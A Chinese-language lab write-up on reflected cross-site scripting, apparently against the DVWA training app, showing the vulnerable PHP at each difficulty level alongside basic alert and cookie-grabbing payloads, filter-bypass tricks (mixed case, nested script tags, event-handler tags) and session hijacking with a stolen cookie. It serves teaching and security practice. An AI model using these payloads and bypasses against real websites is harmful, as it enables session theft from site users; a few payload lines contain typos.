XSS 概念:
由於web應用程序對用戶的輸入過濾不嚴,通過html注入篡改網頁,插入惡意腳本,從而在用戶瀏覽網頁時,控制用戶瀏覽器的一種攻擊。
XSS類型:
Reflected(反射型):只是簡單的把用戶輸入的數據反射給瀏覽器,需要誘導用戶點擊一個惡意鏈接才能攻擊成功。
存儲型:將用戶輸入的數據存儲在服務器端,每次用戶訪問都會被執行js腳本
DOM型:文本對象模式xss,通過修改頁面的DOM節點形成的XSS,可存儲型,可反射型,取決於輸出地點
(關於DOM節點,DOM為Document Obeject Mode首字母縮寫,翻譯為文檔對象模型,在網頁中所有對象和內容都被稱為節點,如文檔、元素、文本、屬性、注釋等,節點是DOM最基本的單元
並派生出不同類型的節點,他們共同構成了文檔的樹形結構模式)
XSS應用場景:1.利用xss獲得cookie,2.重定向,3.釣魚網站,4.DDOS
記錄一些一般的payload:(這里看不懂可以先看下面的示例,看完返回來看這里就會明白一些了)
1.<script>alert(document.cookie)</script>
2.<body onload=alert(document.cookie')>
3.<a href='' onclick=alert(document.cookie)>click1</a> #點擊click1時彈出cookie值
4.<img src=http://192.168.10.128/a.jpg onerror=alert(document.cookie)> #src地址錯誤,然后執行onerror的內容
Low級別:
觀察源碼:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
源碼沒有對參數做任何防御處理措施
下面給一些基本的XSS攻擊
1.<script>alert(‘xss’)</script>
2.<body onload=alert('xss2')>
3.<a href='' onclick=alert('xss3')>click1</a> #點擊click1時彈出xss3
4.<img src=http://192.168.10.128/a.jpg onerror=alert('xss4')> #src地址錯誤,然后執行onerror的內容
例如我們這里輸入:
<script>alert("xss")</script>
構造獲取cookie的payload:
<script>alert(document.cookie)</script>
然后Logout 用這段cookie值進行登錄即可以被攻擊者的身份訪問此網站(在未關閉瀏覽器前)
Medium
觀察源碼:
<?php header ("X-XSS-Protection: 0"); // Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user
echo "<pre>Hello ${name}</pre>"; }
對於script標簽進行了過濾,下面提供幾個繞過的方法
1.<sCriPt></SCriPt>大小寫分開
2.<scr<script>ipt> 類似於SQL注入中的雙寫
3.用別的標簽替換 :
同樣也可以獲得cookie 之后就可以通過cookie以被攻擊者的身份訪問此網站
High
觀察源碼:
<?php header ("X-XSS-Protection: 0"); // Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user
echo "<pre>Hello ${name}</pre>"; } ?>
分析源碼,可以看到,使用了preg_replace正則表達式函數,對參數進行過濾,查看源碼可以看到對<script>標簽進行了嚴格的過濾,但沒有過濾別的標簽,此時可以通過img、body等標簽的事件或者iframe等標簽的src注入惡意的js代碼
執行:<body onload=alert('document.cookie')>
Impossible
觀察源碼:
使用了htmlspecailchars函數做了html實體轉義,無法利用XSS